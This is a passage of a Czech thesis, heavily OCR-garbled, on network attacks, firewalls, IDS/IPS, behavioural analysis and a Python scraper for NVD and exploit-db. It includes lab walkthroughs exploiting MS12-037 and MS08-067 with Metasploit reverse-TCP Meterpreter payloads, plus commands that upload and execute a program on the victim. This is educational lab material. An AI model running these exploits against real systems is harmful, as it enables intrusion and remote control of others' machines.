- Idle scan — nebo ,Zombie scan“ — je technikou skenovani TCP porta, ktera se sklada
z posilani vyrobenych packetii pocitaci s cilem zjisténi dostupnosti sluzeb a sledovanim
chovani tzv. ,zombie systému®, ktery nepfijima ani neposila informace, pracuje jen jako
maska pro itocnika.
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Aktivni — pokus o zménu logiky pocitace nebo protokolu s cilem dosdhnout vysledku
nepiedpokladaného vyvojatem, ale uzite¢ného pro utocnika.
- Odmitnuti sluzby — je technika utoku na internetové sluzby nebo stranky, pfi niz dochazi k
prehlceni pozadavky a padu, nebo minimaln¢ nefunkénosti a nedostupnosti pro ostatni
uzivatele.

- Spoofing — je situace, pii které se osoba nebo program uspésné maskuje jako jiny
davéryhodny objekt tim, ze falzifikuje data a ziskava tak nepovolenou vyhodu.

- Clovek uprostred — tzv. Man-in-the-Middle - patii mezi nejznaméjsi problémy
v informatice a kryptografii. Jeho podstatou je snaha tutocnika odposlouchavat komunikaci
mezi ucastniky tak, ze se stane aktivnim prostiednikem. Dulezitym faktem je, Zze v prostredi
soucasnych béznych pocitacovych siti neni nutné, aby byl utocnik fyzicky mezi ucastniky,
protoze sitovy provoz lze pfesmérovat.

- Ping Smrti a Ping Flooding™ — “Ping of death”, desky Ping Smrti, je typ Gtoku vyuZivajici

zvétSeny ping packet posilany na cilovy pocita¢. Spravny packet by mel mit 56 bajtu bez IP
hlavicky. V minulosti vétSina systémiu nebyla schopna korektné spracovat ping packet vétsi,
nez maximalni velikost IPv4 packetu (65 535 bajtt)). Mize tak nastat pfeteéeni mezipaméti,
coz Casto zpusobuje pad systému. Pozdéji se stala populami jina technika utoku pfikazem ping
a to “Ping Flooding”. Zahlcenim systému poZadavkem ping do takové miry, Ze neni schopen
spracovat jiny sitovy provoz.

3.3.2 Realizace sitovych utoku

Se vzrustajicim poctem uzivateli Internetu neamémé stoupa i nebezpeci napadeni sité, webovych
aplikaci ¢i bezdratovych siti. Penetracni testovani, které by preventivné odhalilo slaba mista IT
infrastruktury, se tedy stava stale vétsi prioritou. S touto nutnosti jde ruku v ruce potifeba mit prehled,
navody, metodologii a nastroje zajiStujici efektivni testovani. Po provedeni penetracnich testa jsou
navrzena opatfeni, ktera kompenzuji zjisténa ohrozeni. Tato opatfeni zahrnuji Sirokou skalu zasaht, od
pouhé zmény konfigurace systému az po celkovou restrukturalizaci IS.

Externi penetracni test (nebo-li test pies Internet) - se provadi bez znalosti struktury nebo parametri
informaéniho systému. Zadné fyzické operace na systému nejsou provadény a analyza probiha pies
Internet. Testem jsou proveéfeny moznosti utocnika (hackera) utociciho pres Internet.

Interni penetracni test (nebo-li test ze sité zdkaznika) - se provadi nastroji pro analyzu pfimo na
zakaznikem uréeném misté¢ propojeném s interni siti. Testem jsou provéfeny moznosti utocnika
utociciho zevnitf organizace.

Pro toto testovani existuje nékolik standardizovanych metodologii, které zarucuji systematicky pristup
k testovani a pouzitelnost vysledki:
- OSSTMM (Open Source Security Testing Methodology Manual)

- OWASP (Open Web Application Security Project)
- ISSAF (Information System Security Assessment Framework)

Bezpecnostni skenery jsou zakladni nastroje PT, slouzi k testovani sité nebo jednotlivych stroji na
pritomnost bezpecnostnich dér. Vysledkem je typicky seznam vSech prostfedki a odhad na
nainstalovan¢ operacni systémy. Dale ke kazdému systému seznam otevienych porti a na nich
bézicich sluzeb, spolu s moznymi riziky. Skenery se také miizou pokouset zjistit, napf. zachytavanim
bannerti (banner grabing), konkrétni verzi programu zajiStujiciho danou sluzbu a reportovat jeho
bezpecnostni  chyby. Bezpecnostni skenery miuzeme srovnavat podle nckolika méritek.
aktualni ma skener svou databazi chyb. Tu si podobné jako antivirové programy aktualizuje z
Internetu. Proto je dobré vybrat si produkt od spoleénosti, na jejiz schopnost, udrzovat si databazi chyb
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aktualni, se da spolehnout. Dalsi méfitka jsou napf. pocet Spatnych detekei (pokud jich je prilis, je to
pro testera znacna ztrata Casu), rychlost skenovani nebo kvalita vyslednych reporti.

Srovnani bezpec¢nostnich skenera:

* IS - Internet Scanner 7.0

* LG - LanGuard 3.2

* Ns - Nessus 2.0.6

* NR - NetRecon 3.6

* Rt - Retina 4.9.97

* MP - MaxPatrol 7.0

15 LG MP N= MR Rt

Total correct detections 74 39 133 111 39 89

Penalty for false detections -7 -1.5 -1.5 -16 -6.5 -7.5

Grand total (with penalty) 67 37.5 131.5 95 32.5 81.5

- m Total vulnerabilities
m False diagnostics
120
0 | qualit
90 =
60
30
0 s,
Is LanGuard MaxPatrol Nessus NetRecon Retina

-30

Obrazek 3.4: Detekce zranitelnych mist

Dalsi dilezité kritérium kvality skeneri je pfitomnost ¢i nepfitomnost jinych nez zakladnich
funkcionalit, kterymi miize skener disponovat. Jsou to:
- Schopnost aktualizovat skener i databazi z Internetu.

- Zabudovany planovac uloh.
- Dostupnost riznych skenovacich profili a moznost vytvaret profily pro specifické tkoly.

- Pritomnost funkce , pause® pro zastaveni skenovani v pripad¢ problému na siti, stejné tak jako
funkce ,.resume® pro opétovné rozjeti ze stejného mista.

Reporty generované pro pouziti jak administratory, tak managementem.
- Moznost vzdaleného skenovani pres klienta pripojeného na server.

Mezi bezpecnostnimi skenery je nejpopularnéjsi Nessus z jednoduchého davodu: patii k nejlepsim a je
zdarma. Podporuje ho institut SANS a pouziva ho vice nez 75 000 organizaci po celém svéte.
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34 Detekce sit'ovych utoku

Aplikovanim algoritmi na detekci anomalii, které jsou specificky navrhnuté na vyhledavani utoka, se
muze proaktivné zajistit prevence cervi, malwaru a neopravnéného vyuzivani prostredku sité. Protoze
tato detekce hlida zmény v chovani sit¢, je tim padem odolnd vuci faleSnym hrozbam, a také
nevyzaduje neustalou konfiguraci a udrzbu. Detekce ale neni vSe, je potieba zjiSt€né hrozby
identifikovat a vykonat preemptivni akce, blokovani portt, separovat virtualni LAN, nebo aplikovat
filter pro ACL (access control list), ktery uzamkne dal$i propagaci v siti. Spravné nastaveny systém
dokaze vygenerovat filtr, ktery zablokuje provoz na konkrétnim portu, a simultann¢ generuje white-list
pro znamé — bezpecné pakety a provoz.

34.1 Firewall

Sitov¢ zafizeni, které slouzi k fizeni a zabezpecovani sitového provozu mezi sitémi s riznou urovni
davéryhodnosti a zabezpeceni. Slouzi jako kontrolni bod, ktery definuje pravidla pro komunikaci mezi
sitémi, které od sebe oddéluje. Tato pravidla historicky vzdy zahrnovala identifikaci zdroje a cile dat
(zdrojovou a cilovou IP adresu) a zdrojovy a cilovy port, coz je vSak pro dnesni firewally uz pomérné
nedostateéné — modernéjsi firewally se opiraji o informace o stavu spojeni, znalost kontrolovanych
protokolli a pfipadné prvky IDS. Nékteré firewall-y dokazou zastavat i funkci DHCP serveru, nebo
provadét routing.

Firewall

Softwarovy Firewall

Obrazek 3.5: Funkce systému firewall

Technologie firewallu ve vypocetni technice se poprvé objevovala koncem osmdesatych let, kdy
byl Internet, co se tyce celosvétového pouziti, pomérné mladou technologii. Predchidci dnesnich
firewalla byly tenkrat routery pouzivané pravé koncem osmdesatych let, které slouzily pro
zabezpecent sité.

Generace firewallu:

e Paketoveé filtry
e Stavové paketov¢ filtry
e Aplikacni brany
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Paketové filtry — prvni generace firewall, pravidla presn¢ uvadéji, z jaké adresy a portu na jakou
adresu a port muze byt dorucen prochazejici paket, tj. kontrola se provadi na tfeti a Ctvrté vrstve
modelu sitové komunikace OSL.

Vyhodou tohoto feseni je vysoka rychlost zpracovani, proto se jesté i dnes pouzivaji na mistech, kde
neni potfebna presnost nebo dukladnéjsi analyza prochazejicich dat, ale spi$ jde o vysokorychlostni
pfenosy velkych mnozstvi dat.

Stavové paketové filtry — druha generace firewallt, provadi kontrolu stejné jako jednoduché
paketové filtry, navic si vSak uklada informace o povolenych spojenich, které¢ pak muize vyuzit pii
rozhodovani, zda prochazejici pakety patii do jiz povoleného spojeni a mohou byt propustény, nebo
zda musi znovu projit rozhodovacim procesem. To ma dvé vyhody — jednak se tak urychluje
zpracovani paketu jiz povolenych spojeni, jednak lze v pravidlech pro firewall uvadét jen smér
navazani spojeni a firewall bude samostatné schopen povolit i odpovédni pakety a u znamych
protokolu i dalsi spojeni, ktera dany protokol pouziva. Zasadnim vylepSenim je i moznost vytvareni
tzv. virtualniho stavu spojeni pro bezstavové protokoly, jako napt. UDP a ICMP.

K nejvétsim vyhodam stavovych paketovych filtra patfi jejich vysoka rychlost, poméme¢ slusna trover
zabezpeceni a ve srovnani s vyse zminénymi a jednoduchymi paketovymi filtry fadové mnohonasobné
snazsi konfigurace — a diky zjednoduseni konfigurace i nizsi pravdépodobnost chybného nastaveni
pravidel obsluhou.

Nevyhodou je obecné nizsi bezpecnost, nez poskytuji aplikacni brany.

Aplikaé¢ni brany - Veskera komunikace pres aplikacni branu probiha formou dvou spojeni — klient
(iniciator spojeni) se pripoji na aplikacni branu (proxy), ta prichozi spojeni zpracuje a na zakladé
pozadavku klienta otevie nové spojeni k serveru, kde klientem je aplikacni brana. Data, ktera aplikacni
brana dostane od serveru, pak zase v puvodnim spojeni preda klientovi. Kontrola se provadi na sedmé
(aplikaéni) vrstvé sitového modelu OSI (proto se témto firewallum fika aplikaéni brany).”

3.4.2 IPS a IDS systémy

Zkratky IDS a IPS oznacuji systémy detekce a prevence sitovych prunika (Intrusion Detection and
Prevention System). Jedna se o bezpecnostni software, ktery monitoruje sitovy provoz a vyhledava
Skodlivé aktivity. Hlavni funkce téchto systému je identifikovat tyto aktivity, zapisovat si informace o
nich a pokusit se jim zabranit.**

Systém prevence je povazovan za rozSifeni systému detekce, protoze oba sleduji a monitoru;ji
Skodlivé aktivity. Hlavnim rozdilem vSak je, ze IPS se nachazi pfimo v lince a je schopen aktivné
blokovat detekované pruniky.”” Navic dokaze systém IPS poslat varovani, zahodit nebezpedné
pakety, restartovat pripojeni nebo zablokovat pripojeni skodlivé IP adresy.

Kategorizace:®”
1. NIPS - Network-based IPS — monitoruje celkovy provoz na siti vyhledavanim a analyzou
aktivit protokoll a porti

2. WIPS — Wireless IPS — monitoruje provoz bezdratové sit¢, vyhledava a analyzuje hrozby
protokolové aktivity

3. NBA - behavioralni analyza sit¢ — zkouma sitovy provoz tak, aby identifikoval hrozby, které
generuji nezvykly datovy tok, jako DoS nebo malware

4. HIPS — Host-based IPS - instalovatelny softwarovy balik, ktery sleduje pfimo jednoho
lokalniho klienta pro identifikaci podezrelé aktivity.

Existuji 3 zakladni metody detekee primiku: "

Signature-Based — detekce na zaklad¢ definice. Monitorovanim paketii a jejich porovnanim s predem
definovanou konfiguraci a znamym ,,podpisem* predeslych utoka.
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Statistical anomaly-based — predem si urci béznou aktivitu sité a jeji vytizeni v danych Casech, jaké
protokoly se v normalnim stavu pouzivaji a jak pripojené zafizeni oteviraji porty. Nasledné pak
upozorni spravce na uzivatele nebo provoz, ktery neni bézny.

Stateful Protocol Analysis — tato metoda identifikuje odchylky stavu protokolu tim, Ze sleduje
predem definované profily béznych aktivit a porovnava je s aktualn¢ akceptovanym pripojenim.
Hlavnim rozdilem mezi Firewall-em a IDS systémem je to, Ze firewall preventivné hleda rizika
pruniku s cilem jim zabranit. Omezi pfistup mezi siti a uto¢nikem, ale neni schopen ohlasit utoc¢nika z
perimetru. Naopak IDS systém hlasi utok, az kdyz nastane. Jednou z vyhod je schopnost detekovat
utoky z vnitini sit¢. Kombinaci téchto dvou prvki je mozné dosahnout vyssi Grovné bezpecnosti.
Bohuzel hlavni princip IDS systému se také stava jeho nevyhodou. Dokaze detekovat jen na zakladé
signatur definovanych predem. Nedokaze tak rozeznat nové utoky.

3.5 NBA - behaviorilni analyza

Ochrana korporatni sit¢ s ochranou koncovych stanic byva stale Castéji dopliiovana monitorovanim a
analyzou provozu LAN/WAN siti tak, aby bylo mozné reagovat na utoky, které¢ perimetr prekonaji,
nebo jsou zpusobeny pfimo internimi uzivateli sit¢ (zaméstnanci, hosté, kteti ziskaji pristup k siti).
Dnesni utoénici ochranu na perimetru sit€ ¢asto prekonavaji jinou cestou, nez pres perimetr (napf. pres
nastroje povazuji za legitimni chovani. PrestoZze se feSeni na ochranu perimetru sité stale zdokonaluji,
neni v této situaci otazkou, jak napadeni sit€¢ vyloucit, ale jak ho odhalit co nejdrive.

BEZPECNOSTNI ‘

ODDELENI SIEM |

P T N

Firewall w — [ IDS/IPS ]—"'

‘ SNMP I — — [Paketavé analyza
SITOVE ) - Kolik paketdl, kolik dat - Detallni anal§za
|:|DDE|_EN| = Fakladni troubleshooting - Casové velmi ndroénd

= Na konkrétnim misté
=V konkrétnim Ease

Na vzniklou situaci je mozné velmi rychle reagovat pravé diky technologii monitorovani provozu
nasazené v lokalni datové siti a automatizované detekci anomalii. Kdyz se stanice infikovana
malwarem zaéne na siti chovat jako DHCP i DNS server byla by tak identifikovana prakticky
okamzit¢. Vyskyt malwaru byl potvrzen nasledn€. Zminovana technologie monitorovani a analyzy
provozu datové sit€ vychazi z tzv. datovych toku, které si lze predstavit podobné jako vypis
telefonnich hovort. Znamé jsou volajici strany, ¢as, délka trvani, ale to co bylo pfedmétem rozhovoru
je soukromé. Sleduji se IP adresy, objemy dat, ¢as, porty, protokoly a dalsi technické parametry
TCP/IP komunikace. Na monitorovani provozu prostfednictvim datovych tok pfimo navazuje tzv.
behavioralni analyza (zkratkou NBA — Network Behavior Analysis), ktera detailn¢ analyzuje datove
toky, vyhledava mezi nimi neobvyklé vztahy a zavislosti a umoziuje tak upozornit na hrozby, pro
které neexistuje signatura antiviru nebo systému detekce prunika. Podobné umoziuje odhalovat
konfiguraéni problémy, nedostupné sluzby nebo aplikace, které jsou v daném prostiedi nezadouci.””
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Nevyhodou téchto systému je false positive detekce, ktera muze nastat vSeobecné pfi praci
s anomaliemi a také slozita konfigurace trénovani detekénich modelii. Naopak vyhodou je, Ze na
zaklad¢ statickych a behavioralnich charakteristik jsou schopné detekovat nové typy ttoku.
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4 Prakticka cast

4.1 Analyza a navrh

V kapitole analyza a navrh je popsan postup pii pripravé podkladi pro samotnou
implementaci nastroje ke stahovani a ukladani exploitu.

4.1.1 Verejné dostupné databaze

Prvni informace, podminka, ktera se nabizi, je, odkud se da Cerpat. Co vlastné chceme ziskat a
kam vysledny produkt ulozit.

Pokud se pracuje se sitovymi zranitelnostmi jako s takovymi, je dobré mit na jednom misté
seznam existujicich exploiti vcetné vSech dosavadné zjisténych informaci (napf. nazev a verze SW,
ktery tento kdd obsahuje). Tento seznam nam poskytuje tzv. exploit database, ktery je uzce spojen s
narodni databazi zranitelnosti (NVD). Uzivatel je schopen najit libovolny exploit s pfidélenym CVE,
prislusné udaje k nému a zdrojovy kod.

National Cyber Awareness System

ty Summary for CVE-2016-0185
| release date: 05/10/2016

Last revised: 05/11/2016
Source: US-CERT/NIST
Overview

Media Center in Microsoft Windows Vista SP2, Windows 7 SP1, and Windows 8.1 allows remote attackers to execute arbitrary code via a crafted Media Center link (aka .mcl) file, aka
"Windows Media Center Remote Code Execution Vulnerability."

Impact
CVSS Severity (version 3.0): CVSS Severity (version 2.0):
CVSS v3 Base Score: 7.8 High CVSS v2 Base Score: 9.3 HIGH

Vector: CVS5:3.0/AV: L/AC:L/PR:N/UL:R/S:U/C;H/I:H/A:H Vector: (AV:N/AC:M/Au:N/C;C/T:C/A:C) (legend)

Impact Score: 5.9 Impact Subscore: 10.0

Exploitability Score: 1.8 Exploitability Subscore: 8.6

CVSS Version 3 Metrics: CVSS Version 2 Metrics:

Attack Vector (AV): Local Access Vector: Network exploitable - Victim must voluntarily

; interact with attack mechanism
Attack Complexity (AC): Low

- . Access Complexity: Medium
Privileges Required (PR): Mone

. ) Authentication: Mot required to exploit
User Interaction (UI): Required

Impact Type: Allows unauthoerized disclosure of information;
Scope (S): Unchanged Allows unautherized modification; Allows disruption of service

Confidentiality (C): High
Integrity (I): High
Availability (A): High

Obrazek 4.1: Priklad zobrazeni vybrané zranitelnosti v databazi NVD

Pro potfeby této prace je zapotiebi ukladat nejen zranitelné kody, ale 1 aplikace, které tyto kody
obsahuji. Exploit database umoziuje uzivateli manualn¢ stahnout veskeré aplikace, které jsou volné
k dispozici. Cilem ovSem je navrhnout takovy nastroj, ktery by vyuzival libovolného vyhledavaciho
portalu, jako je napriklad google, a aplikace i exploit ukladal do lokalni databaze uZivatele
automaticky — vCetné vSech informaci, kter¢ stranka nabizi.
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Lokalni databaze

Po stanoveni zakladniho cile pro ukladani je dulezité¢ zminit, Ze volba jazyka pro tvorbu databaze neni
jednoznacéna. NejrozSifenéj§im typem je relacni databaze, ktera je do jisté miry pouzitelna, nicméné
pro sofistikovanéjsi fungovani se nabizi databaze objektova.

MongoDB
Jedna se o jednu z NoSQL databazi. Vyhoda oproti relaénim databazim spociva v tom, ze
misto klasickych tabulek vyuziva dokumenty podobné typu JSON a dynamické databazové
schéma. Jedna se o opensource software.
Mezi hlavni funkce, které jsou vyhodné pro definovany nastroj, patfi ad hoc dotazy a orientace
na dokumenty (uspora prostoru, nebot’ dvé spolu souvisejici informace, které by se v relacni
databazi nachazely ve dvou tabulkach, mohou byt v jednom vhodné pojmenovaném objektu).

Relacni databaze
Mluvime o systému vzajemné propojenych tabulek, které obsahuji importované informace.
Vyhoda je v jednoduchosti zapisu a hlavné rozsireni téchto databazi.

K této praci byla zvolena kombinace relacni databaze (jejiz navrh je na obrazku nize) a skriptu
napsaném v programovacim jazyce Python.

CVE_CONFIG CVE CVE_PRODUCT

[PK] -cve id [PK]-id [PK] —cve id
[PK]-seq no N o| -pub date 1 [PK]—product cpe
-gount tuple -CVss_score
-components ~aouIce.

-Summary.

N N
CPE
[PK]—full_name
-title
° | -reference 5
-cpe_type
-cpe_gdition

Obrdazek 4.2: Navrh FeSeni relacni databdze pro ukladani informaci
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4.2 Implementace

V této kapitole se nachazi detailni popis implementace podle navrhu z predchozi kapitoly. Je zde
obecny popis, tedy hlavni zamér, a nasledné¢ rozbor algoritmi a konkrétnich postupu, kterymi bylo
dosazeno splnéni cile.

4.2.1 Stazeni exploitu

V posledni verzi vytvareni skriptu na staZeni exploitu dochazi k vyrazné zméné, nebot” plivodni verze
po inovaci stranky prestala fungovat. Skript pracuje na zaklad¢ prochazeni predem stanoven¢ho poctu
stranek (max pages) a uklada po 1 informace o zranitelnych kddech 1 kody samotné (pokud jsou
k dispozici) do textového souboru. Ten je dale zpracovavan new.py pro uloZeni informaci do databaze.

Pouzité postupy:

BeautifulSoup (BS) —vytvafi parsovaci strom pro parsovani stranek, je hojn¢€ vyuzivan pro ziskavani
dat z HTML soubort

a) podle parametru <a> vyhleda BS dany link zranitelnosti

b) vytahne string mezi <a> </a> a vlozi do proménn¢ cve

¢) ze stejné sekce vytahne link za tref

d) vytvofi prom&nnou url2 tim, ze prida href k https://web.nvd.nist.gov/view/vuln/, aby mohl jit nize
e) BS se dostane do url2, opét prevede HTML do textu

f) dostava konkrétni zranitelnost

g) BS najde tabulku podle definice ID a stahne vSe, co je mezi <table> </table>

h) vSechny stringy které najde (plain text) vlozi do proménné desc

i) vytvori novy .txt file a prida obsah proménné desc

4.2.2 Ukladani do databaze

Ukladani je vyfeSeno pomoci dvou tabulek — jedna na vulnerability jako takové, druha na jednotlivé
zdroje k ni. Ke spravnému spusténi je tfeba >pip install sqlalchemy. Nic dalsiho neni pozadovano.
Skript zpracovava soubory, které jsou vystupem textového ukladani ze skriptu nist.py. Po vytvoreni
databaze je mozné tyto textové soubory smazat.

Na konci se nachazi komentar s priklady query na databazi.

Pouziti:
Spusténi ve sloZce, kde jsou soubory s vystupem ze zdrojového kodu nist.py

Pouzité postupy:

SQLAlchemy — opensource SQL nastroj, jedna se o objektové relacni zobrazeni (automaticka konverze
mezi objektovym programovacim jazykem a rela¢ni databazi)

class Vulnerability(Base) — konfigurace prvni tabulky, kde dochazi k ulozeni zakladnich informaci o
zranitelnostech a definovani struktury tabulky dle ziskanych dat

class Source(Base) — konfigurace druhé tabulky a definice struktury, podle které se zapisuji zdroje,
odkazy a kod zranitelnosti (je-li k dispozici)

Base.metadata.create_all() — vytvoreni vySe definované databaze, vyuziti balicku ,.re” ke zpracovani
. Regular Expression operations®, definovani sekvekce, podle které se rozlisi vstupni
.txt soubory
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Priklad mozné query do tabulky:

#item = session.query(Vulnerability).filter(Vulnerability.id==&quot; CVE-2015-5208 &quot;).first()
#print(item);

#print(&quot;&quot;);

#item = session.query(Source).first()

#print(item);

#print(&quot;&quot;);

4.3 Exploitace, analyza

4.3.1 Modelovy pripad 1.

Exploitace zranitelnosti CVE-2012-1875 Same ID Property Remote Code Execution Vulnerability
Link1: https://www.exploit-db.com/exploits/19141/
Link2: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1875

Cilovy OS: MS Windows XP SP3
OS atoc¢nika:  Backtrack 5
Oba operacni systémy definovany pres VirtualBox.

CVE-2012-1875 : MS12-037 Internet Explorer Same ID Vulnerability
Microsoft Internet Explorer 8 nedokaze efektivné zpracovat objekty v paméti, ¢cimz dava vzdalenému
utoku moznost spustit Skodlivy kod pomoci smazanych objekti.

V soucasné dob¢ existuji dvé technologie, které tento proces exploitace komplikuji:
- DEP (Data Execution Prevention)
- ASLR (Address-space Layout Randomisation)

DEP slouzi k prevenci spusténi kodu z oblasti paméti, ktera k tomu neslouzi. ASLR nacita softwarové
moduly jako DLL knihovny do paméti v ndhodnych lokacich. Tento proces komplikuje ttoénikovi
najit funkce knihoven, které¢ potiebuje.

V piipadé CVE-2012-1875 je mozné obejit ASLR pouzitim star$i knihovny Microsoft C runtime
DLL. Tato byla vytvorena dfiv, nez se ASLR stalo normou, tim padem ji nepodporuje. VyuZzitim
knihovny, ktera ASLR nepodporuje, muze utocnik predpokladat jeji uloZeni v paméti. Pouzitim
techniky ROP (Return-Oriented Programming) je mozné obejit také DEP.

Priprava cilového Operacniho systému:
- Vytvofeni VM obrazu s instalaci Windows XP Service Pack 3.
- Instalace Internet Explorer verze 8
- Nastaveni VM sitového adaptéru jako Host-Only

Dtuvodem vybéru této konfigurace, je Casta chyba organizaci a soukromych osob v rozhodnuti
pouzivani starSiho OS, kterému skoncila podpora, aby se snizily naklady na koupi a distribuci nové
verze.

Priprava OS utoc¢nika:

- Vytvoreni VM bez OS
- Pouziti LIVE bootable CD distribuce BackTrack V5
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Duvodem pouziti portable — live c¢d verze BackTrack je jednoduchost, rychlost a predem instalované
aplikace potfebné k expolitaci.

Po spusténi konzole Metasploit na OS utocnika je potfeba nacist modul exploitu.
msf > use exploit/windows/browser/ms12_037_same_id

Tento modul byl vytvofen z kodu zranitelnosti ziskané ze zdroje uvedené¢ho na zacatku sekce
modelového pripadu 1. (exploit-db)
Kompletni kéd zranitelnosti je uveden v priloze ¢.1

Pro ziskani seznamu nastaveni modulu, je mozn¢ vyuzit ptikaz “show options™
- Nastaveni IP adresy 192.168.56.10 Backtrack pomoci prikazu:

set SRVHOST 192.168.56.10
- Nastaveni cesty ve které bude exploit bézet

set URIPATH /
- Spusténi exploitu pomoci prikazu ,.exploit®

msf > use exploit/windows/browser/mslz 037 same id

msf exploit( ) > set SRVHOST 192.168.56.10
SRVHOST => 192.168.56.10

msf  exploit( ) > séet URIFATH /

URIPATH => /

msf exploit( } > expleoit

[*] Expleoit running as background job.

[¥] Started reverse handler on 10.0.3.15:4444
[*] Using URL: http://192.168.56.10:8080/
Server started.
exploit( ) o>

V této chvili je exploit na pozadi jako spusténa sluzba s adresou http://192.168.56.10:8080/

Pouziti této adresy je pro modelové ucéely. Ve skuteéné situaci by byla adresa maskovana jako
doména. Az uzivatel tuto adresu navstivi pres prohlize¢ Intemet Explorer, objevi se v konzoli hlaseni
o pfichozim pfipojeni.

[*] Client requesting: /
[*] Using JRE ROP

[*] Sendling html I

[*] Sending stage (752128 bytes) to 192.168.56.12
[*] Meterpreter session 1 opened (192.168.56.10:4444 -> 192.168.56.12:1685)

Ted” je mozné ovladnout cilovy operacni systém.

Priklad:
. upload /program.exe c:\”
. execute —f C:\program.exe”
Pfedem pfipraveny vlastni program je zkopirovany do kofenového adresare cilového operacniho
systému a nasledn¢ spustén.
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4.3.2 Modelovy pripad 2.

Exploitace zranitelnosti CVE-2008-4250 MS Windows Server Service Relative Path Stack Corruption
Link1: https://www.exploit-db.com/exploits/16362/
Link?2: http://www.cve.mitre.org/cgi-bin/cvename.cgi’name=CVE-2008-4250

Cilovy OS: MS Windows XP SP3
OS atoc¢nika:  Backtrack 5
Oba operacni systémy definovany pres VirtualBox.

CVE-2008-4250 : MS08-067 Server Service Vulnerability

Sluzba Windows Server se stara o podporu sdileni prostiedki, jako jsou soubory a tiskové sluzby
v siti. Tato sluzba je zranitelna pomoci RCE (Remote Code Execution). Tato zranitelnost je zptusobena
chybou knihovny netapi32.dll, pfi zpracovani sekvence znakii v traverzi cesty adresafe. Chyba muze
byt zneuzita ke korupci paméti odeslanim RPC pozadavku obsahujicich specificky vytvorfené nazvy
cest do komponentu sluzby Server. Zasazena je funkce ,NetprPathCanonicalize()* v knihovné
netapi32.dll

Zranitelné systémy jsou: Windows XP, 2000, Vista a Windows Server 2003, 2008. U systému Vista a
Server 2008 potiebuje utocnik autorizovany pfistup, proto nejsou vhodnym cilem.

K uspésnému utoku je nutné, aby utoénik znal presnou IP adresu cilového operacniho systému.
Existuje mnoho metod, které se pouzivaji k ziskani IP adresy. Nejcastéji provozovanou metodou je
tzv. skenovani IP adres v siti pomoci IPscanneru.
Po zjisténi adresy IP je mozné ziskat detailnéjsi informace o cilové stanici. Pro modelovy pfipad je
vyuzit nastroj nmap , ktery je dostupny v distribuci BTS.
Prikaz k pouziti nastroje nmap pro adresu cilové stanice (192.168.56.12) ktera byla zjiSténa pres
[Pscan:

root@bt5 > nmap —0 192.168.56.12

Vystupem je seznam otevienych portu cilové stanice a verze operacniho systému:

i~ rmap -C 192.16B.56.1

Starting Nmap 5.61TEST4 ( http://nmap. org |
map scan report for 192, 166.56.12
Host is up (¢.001ls latency).

: 995 cplosed ports

5TATE SERVICE

open  msrpc

open netbhios-ssn
445/tcp  open microsaft-ds
1025/tep open NFS-or-IIs
S000/tep open  upnp

0B:Q0:27:683:B2:6F
i general purpose
: Microsoft Windows 2000 XP
O CPE: cpe:/o:microsoft:windows 2000 cpe:/o:microsoft:windows xp
0S5 details: Microseft Windows 2000 SPO - 5P4 or Windews XF SPO - SP1
Hetwork Distance: 1 hop
L3

S detection performed, FPlease report any incorrect results at hittp://nmap. org/s
ukbmit/ .
Imap dene: 1 IF address (1 host up) scanned in 16,48 seconds

e
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Po spusténi konzole Metasploit na OS utocnika je potfeba nacist modul exploitu.
msf > use exploit/windows/smb/ms08_067 _netapi

Tento modul byl vytvofen z kodu zranitelnosti ziskané ze zdroje uvedené¢ho na zacatku sekce
modelového pripadu 2. (exploit-db)
Kompletni kéd zranitelnosti je uveden v priloze ¢.2
Pred pouzitim exploitu je potfebné definovat lokalni a vzdalenou adresu, a povolit Reverzni TCP
Payload

- Povoleni Reverzni TCP payload

set payload windows/meterpreter/reverse_tcp

- Nastaveni IP adresy 192.168.56.10 Backtrack pomoci prikazu:
set LHOST 192.168.56.10

- Nastaveni cilov¢ adresy

set RHOST 192.168.56.12

3
msf explolit/ ] > set LHOST 18Z2.168.56.10
LHOST => 1%2.168.56.10

msf explolit{ ] > set RHOST 192.168.56.12
RHOST =»> 182.168.56.12
msf exploit{ 1 =

- Spusténi exploitu pomoci prikazu ,.exploit™
exploit | 7 » exploit
[*] Started reverse handler on 152.168.56.10:4444

[*] Automatically detecting the target. ..
[*] Fingerprint: Windows XP - Service Pack 0 / 1 - lang:English

[*] Selected Target: Windows XP SF0/SP1 Universal

[*] Attempting to trigger the vulnerability. ..

[*] Sending stage (752128 bytes) to 192,.1648.56.12

[*] Meterpreter session 1 opened (192 . 168.36.10:4444 -> 192 .168.56.12:1031) at 2
012-07-14 12:26:42 -0400

V této chvili je mozné ovladat cilovou stanici pouZzitim nastroje “meterpreter”. t.z. Kopirovat a spustit
Skodlivé programy na lokalni disk cilového OS, nebo stahovat interni data ulozené na Serveru v
pripad¢, ze je exploit pouzity na utok proti Windows Server 2003.
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5 Zaveér

Podstatou prace bylo proniknout do problematiky sitovych zranitelnosti, detailné se seznamit
s databazi zranitelnosti NIST a vefejn¢ dostupnymi databazemi Skodlivého softwaru; na zakladé
poznatku implementovat nastroj, ktery by ukladal ziskana data do lokalni databaze, ke které by m¢l
potencialni uzivatel snadny a pohodlny pfistup. V neposledni fad€ bylo tieba provést analyzu a rozbor
dvou vybranych zranitelnosti z pohledu sitové detekce za pouziti ASNM metrik a diskutovat techniky
obejiti utoka pomoci behavioralni analyzy (NBA).

Na zacatku prace byl vymezen slovniGek pojmi se struénym vysvétlenim. Ctenaf ma tedy po preéteni
predstavu, o Cem prace pojednava a na jaké dualezité pojmy je mozné narazit. Bliz$i informace, véetné
detaild, je mozné najit v prislusnych kapitolach. Slovni¢ek pojmu slouzi pouze pro lepsi prehlednost a
snazsi vyhledani pojmu v pfipad€ nejasnosti.

V teoretickém uvodu byly zminény vSechny nastudované poznatky z dané oblasti, véetn¢ detailniho
popisu. Nejvétsi duraz je kladen na pojem zranitelnost jako takovy. Jedna se o klicové slovo celé
skupiny, nebot’ pravé s témito informacemi pracuje databaze NIST. Dale jsou diskutovany sitové
utoky, moznosti jejich dopadu a jak se efektivné branit. Pojem behavioralni analyza je pro praci taktéz
dalezity, byt historie auditu je pomémé kratka — probiha teprve nékolik let (v Ceské republice od roku
2009).

V praktické casti je nastinén navrh nastroje, moznosti feseni, jejich klady a zapory. Pro orientaci ve
skriptu jsou popsany dulezité ¢asti — oduvodnéni jejich pouziti.

Prace je psana formou predani poznatkt pro dalsi rozvoj. Pri jejim zadani byl napsan skript, ktery bez
vétSich problému fungoval pro staZzeni nejen zranitelnych kodi, ale i vlastnich aplikaci. Nicméné
